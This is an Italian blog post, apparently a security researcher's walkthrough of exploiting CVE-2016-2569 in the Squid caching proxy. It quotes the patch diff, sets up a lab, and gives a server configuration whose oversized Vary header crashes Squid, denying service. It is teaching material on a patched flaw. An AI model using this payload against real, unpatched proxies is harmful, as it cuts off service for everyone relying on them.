Squid 3.x prima della 3.5.15 e 4.x prima della 4.0.7 non aggiunge correttamente dati agli oggetti String, consentendo a server remoti di causare un denial of service (fallimento dell'asserzione e uscita del demone) tramite una stringa lunga, come dimostrato da un'intestazione HTTP Vary modificata ad hoc.
Ciao a tutti,
Grazie per aver letto il mio primo post sul blog. Oggi parleremo della creazione di un exploit per uno degli strumenti open-source, il server proxy di caching Squid.
Squid è un proxy di caching per il Web che supporta HTTP, HTTPS, FTP e altro. Riduce la larghezza di banda e migliora i tempi di risposta memorizzando e riutilizzando le pagine web richieste frequentemente. Squid ha ampi controlli di accesso e funge da eccellente acceleratore per server. Funziona sulla maggior parte dei sistemi operativi disponibili, incluso Windows, ed è concesso in licenza sotto GNU GPL. Puoi trovare maggiori informazioni su Squid Caching proxy sul loro sito ufficiale [http://www.squid-cache.org/]
Prima di tutto, spero tu sappia cos'è un CVE :p Comunque, sta per Common Vulnerabilities and Exposures (Maggiori informazioni sui CVE si trovano su [https://en.wikipedia.org/wiki/Common_Vulnerabilities_and_Exposures])
Possiamo trovare le seguenti informazioni su CVE-2016-2569
Descrizione: Squid 3.x precedente alla 3.5.15 e 4.x precedente alla 4.0.7 non aggiunge correttamente dati agli oggetti String, consentendo a server remoti di causare un denial of service (fallimento dell'asserzione e uscita del demone) tramite una stringa lunga, come dimostrato da un header HTTP Vary manipolato. Mathias Fischer di Open Systems AG ha segnalato questa vulnerabilità.
Poiché si tratta di un progetto open-source, possiamo vedere la patch utilizzata per mitigare questa vulnerabilità. In base alla descrizione della vulnerabilità fornita, possiamo confermare che si tratta di un tentativo di overflow. Continueremo ad approfondire il codice per indagare ulteriormente.
La patch [http://www.squid-cache.org/Versions/v3/3.5/changesets/squid-3.5-13991.patch] conferma che sono state apportate modifiche ai seguenti file
Approfondiamo...
Il diff del codice per src/String.cc sembra interessante perché effettua un'asserzione per la variabile aSize
=== modified file 'src/String.cc'
--- src/String.cc 2016-01-01 00:14:27 +0000
+++ src/String.cc 2016-02-19 23:15:41 +0000
@@ -42,7 +42,7 @@
String::setBuffer(char *aBuf, String::size_type aSize)
{
assert(undefined());
- assert(aSize < 65536);
+ assert(aSize <= SizeMax_);
buf_ = aBuf;
size_ = aSize;
}
@@ -171,7 +171,7 @@
} else {
// Create a temporary string and absorb it later.
String snew;
- assert(len_ + len < 65536); // otherwise snew.len_ overflows below
+ assert(canGrowBy(len)); // otherwise snew.len_ may overflow below
snew.len_ = len_ + len;
snew.allocBuffer(snew.len_ + 1);
Basandoci sul diff del codice sopra, possiamo tentare di sfruttare la vulnerabilità fornendo un valore dell'header Vary superiore a 65536 byte.
Iniziamo a creare il nostro setup per l'exploit
Configureremo il proxy di caching Squid su un sistema Linux (useremo Xubuntu 16.04 LTS). Il proxy di caching Squid memorizza nella cache le risposte del server HTTP metanet e invia le risposte al client dalla cache in memoria, invece di interrogare il server per richieste simili.
La nostra topologia di rete sarà simile a quella mostrata di seguito (scusa per lo stile vecchia scuola con la topologia, ma sono ancora innamorato di VIM)
------------------------- ------------------------- -------------------------
| | | | | |
| metanet | ----> | Squid | -----> | Client |
| 192.168.56.102 | | Caching Proxy | | 192.168.56.1 |
| HTTP Server | <---- | Porta TCP 3128 | <---- | Python Requests |
| | | | | |
------------------------- ------------------------- -------------------------
Invieremo query standard al nostro server HTTP nginx tramite il proxy Squid e controlleremo i log per verificare che il setup funzioni come previsto.
Per semplificarci la vita, utilizzeremo il seguente script Python per inviare la richiesta al server. Una cosa importante da notare: gli header utilizzati nella richiesta permettono al server proxy di memorizzare nella cache la risposta. Se i valori degli header della richiesta HTTP "If-Modified-Since", "max-age" e "cache-control" non sono corretti, la richiesta del client costringerebbe il server proxy a interrogare il server per ottenere le risposte. Questo vanificherebbe completamente lo scopo del server proxy.
Request.py
#!/usr/bin/env python
import requests, os
proxy = {'http': '192.168.56.102:3128'}
headers = {'If-Modified-Since': 'Wed, 24 Jan 2018 13:58:1 GMT', 'Accept': '*', 'max-age': '20000', 'cache-control': 'public', 'connetction': 'keep-alive', 'user-agent': 'requests2'}
if len(os.sys.argv) != 2:
print "Usage: req [URI]"
os.sys.exit()
print '\nhttp://192.168.56.102:8080/{}'.format(os.sys.argv[1])
r = requests.get('http://192.168.56.102:8080/{}'.format(os.sys.argv[1]), proxies=proxy, headers=headers)
print "\nHTTP Stat Code --> ", r.status_code
print
print "HTTP Response Headers \n",
for h in r.headers:
print h, ": ", r.headers[h]
print
if 'Vary' in r.headers:
print "Vary: ", r.headers['Vary'], "\n"
Possiamo vedere che il codice Python sopra imposta gli header, il proxy e utilizza la libreria requests di Python per inviare la richiesta al server HTTP situato su 192.168.56.102. Una volta ottenuta la risposta dal server o dal proxy, stampiamo gli header. In particolare, siamo interessati all'header Vary inviato dal server HTTP o dal proxy.
Il prossimo passo nel nostro setup è configurare metanet (server HTTP). Useremo metanet perché è facile inviare diversi header di risposta HTTP. In alternativa, possiamo usare SimpleHTTPServer, che ci permette anche di inviare risposte HTTP personalizzate.
Dobbiamo preparare il file di configurazione di metanet in modo tale che risponda con l'header Vary insieme all'header necessario che permette al proxy di caching Squid di memorizzare nella cache le risposte simili.
La nostra configurazione di metanet sarà simile a questa
[tcp/8080]
"GET / " -> "HTTP/1.1 200 OK\r\n\r\n<html><body style=\"background-color: #000000; color: #FFFFFF\">Artificial Intelligence is no match for natural stupidity :p</html>\n",close()
* -> "HTTP/1.1 200 OK\r\nServer: metanet\r\nmax-age: 0\r\nDate: Thu, 26 Jan 2018 16:25:22 GMT\r\nLast-Modified: Thu, 1 Feb 2018 13:58:11 GMT\r\nVary:NULL\r\nConnection:keep-alive\r\n\r\n<html><body>Wut????</body></html>",close()
Proviamo a vedere se il nostro setup funziona davvero!
Basandoci sulla nostra configurazione, tutto sembra a posto. w00t w00t!
Facciamo un tentativo di sfruttare la vulnerabilità (passando un buffer di stringa lungo insieme all'header di risposta HTTP Vary). Si tratta di un semplice sfruttamento per overflow. Dal diff del codice possiamo vedere che c'è un'asserzione che definisce il valore di a_size non superiore a 65536. Forniamo una lunghezza dell'header Vary di tale entità.
Idealmente non abbiamo 65536 header di risposta HTTP standard (sarebbe stato un pasticcio 😛); ma possiamo creare header. In questo caso, l'unica cosa che conta è la lunghezza della stringa passata all'header Vary.
Usiamo Python per generare una stringa lunga come python -c 'print "a,b,c,d,e,f," *6000'. Useremo questo output e modificheremo la nostra configurazione di metanet come di seguito per testare il nostro exploit
La nostra configurazione di metanet sarà simile a questa
[tcp/8080]
"GET / " -> "HTTP/1.1 200 OK\r\n\r\n<html><body style=\"background-color: #000000; color: #FFFFFF\">Artificial Intelligence is no match for natural stupidity :p</html>\n",close()
* -> "HTTP/1.1 200 OK\r\nServer: metanet\r\nmax-age: 0\r\nDate: Thu, 26 Jan 2018 16:25:22 GMT\r\nLast-Modified: Thu, 1 Feb 2018 13:58:11 GMT\r\nVary:`a,b,c,d,e,f,`<ripetuto 6000 volte>"\r\nConnection:keep-alive\r\n\r\n<html><body>Wut????</body></html>",close()
Quando inviamo la nostra prima richiesta al proxy, tutto sembra normale. Il proxy non sembrava memorizzare nella cache le risposte; forse a causa dei valori che abbiamo fornito nel campo dell'header Vary. Gli header di risposta specificati nell'header Vary vengono presi in considerazione nel calcolo della somma md5 per verificare i contenuti memorizzati nella cache.
Continuiamo a inviare più richieste al proxy. C'è qualcosa che non va: il proxy non risponde alle nostre richieste, poiché stiamo ottenendo un "Proxy Error" dalla libreria requests. Continuiamo comunque a inviare richieste.
Ahimè. Il proxy si è fermato a causa di frequenti fallimenti. Nessun dispositivo che si connette al server tramite proxy potrebbe accedere a nulla. Questo è un Denial of Service per tutti gli utenti del proxy.
